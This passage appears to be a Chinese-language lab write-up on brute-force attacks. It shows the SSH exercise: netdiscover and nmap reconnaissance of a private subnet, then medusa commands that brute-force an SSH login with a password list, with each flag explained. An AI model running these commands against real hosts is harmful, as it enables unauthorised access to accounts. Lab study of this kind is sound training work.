ssh协议密码暴力破解、基于表单的暴力破解、暴力破解----验证码绕过（on client）、暴力破解—验证码绕过（on server）

1.ssh协议密码暴力破解实验

先开启kali、Ubuntu

探测当前网段是否有开启IP netdiscover -r 192.168.219.0/24

端口探测nmap -sC -sV 192.168.249.129 -vv --min-rate=2000

medusa-探测

medusa -M ssh -h 192.168.249.129 -u dyx -P /tmp/123.txt -F -M: 表示你要破解的类型。

-h：目标机器地址。

-u：用户名。

-e : 尝试空密码。

-F：破解成功后立即停止破解。

-v：显示破解过程。

通过medusa –d 查看支持的服务类型

进入/tmp

一个一个进行探测medusa -M ssh -h 192.168.249.129 -u dyx -P /tmp/123.txt -F

10个为一组的线程进行探测